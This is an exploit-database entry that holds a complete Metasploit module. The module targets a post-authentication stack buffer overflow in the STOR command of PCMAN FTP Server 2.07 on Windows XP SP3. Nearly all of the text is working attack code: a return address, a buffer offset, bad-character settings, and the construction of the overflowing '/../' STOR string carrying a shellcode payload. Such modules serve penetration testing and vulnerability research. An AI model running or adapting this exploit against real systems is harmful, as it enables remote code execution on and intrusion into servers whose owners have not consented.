PCMAN FTP Server Post-Authentication STOR Command Buffer Overflow



EKU-ID: 3517 CVE: OSVDB-ID: 94624
Author: Rick (nanotechz9l) Flores Published: 2013-09-22 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Ftp
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the STOR command of the
          PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
          note authentication is required in order to trigger the vulnerability. The overflowing
          string will also be seen on the FTP server log console.
      },
      'Author'         =>
          [
            'Christian (Polunchis) Ramirez', # Initial Discovery
            'Rick (nanotechz9l) Flores'      # Metasploit Module
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '94624'],
          [ 'EDB',   '27703']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'VERBOSE'  => true
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\xff\x0a\x0d\x20\x40",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2011
            }
          ],
        ],
      'DisclosureDate' => 'Jun 27 2013',
      'DefaultTarget'  => 0))
  end
  
  def check
    c = connect_login
    disconnect
  
    if c and banner =~ /220 PCMan's FTP Server 2\.0/
      # Auth is required to exploit
      print_status("Able to authenticate, and banner shows the vulnerable version")
      return Exploit::CheckCode::Vulnerable
    elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
      print_status("Unable to authenticate, but banner shows the vulnerable version")
      # Auth failed, but based on version maybe the target is vulnerable
      return Exploit::CheckCode::Appears
    end
  
    return Exploit::CheckCode::Safe
  end
  
  
  def exploit
    c = connect_login
  
    # Auth failed. The mixin should show the error, so we just bail.
    return unless c
  
    # Username is part of the overflowing string, so we need to account for that length
    user_length = datastore['FTPUSER'].to_s.length
  
    print_status("Trying victim #{target.name}...")
    sploit = rand_text_alpha(target['Offset'] - user_length)
    sploit << [target.ret].pack('V')
    sploit << make_nops(4)
    sploit << payload.encoded
    sploit << rand_text_alpha(sploit.length)
  
    send_cmd( ["STOR", "/../" + sploit], false )
    disconnect
  end
  
end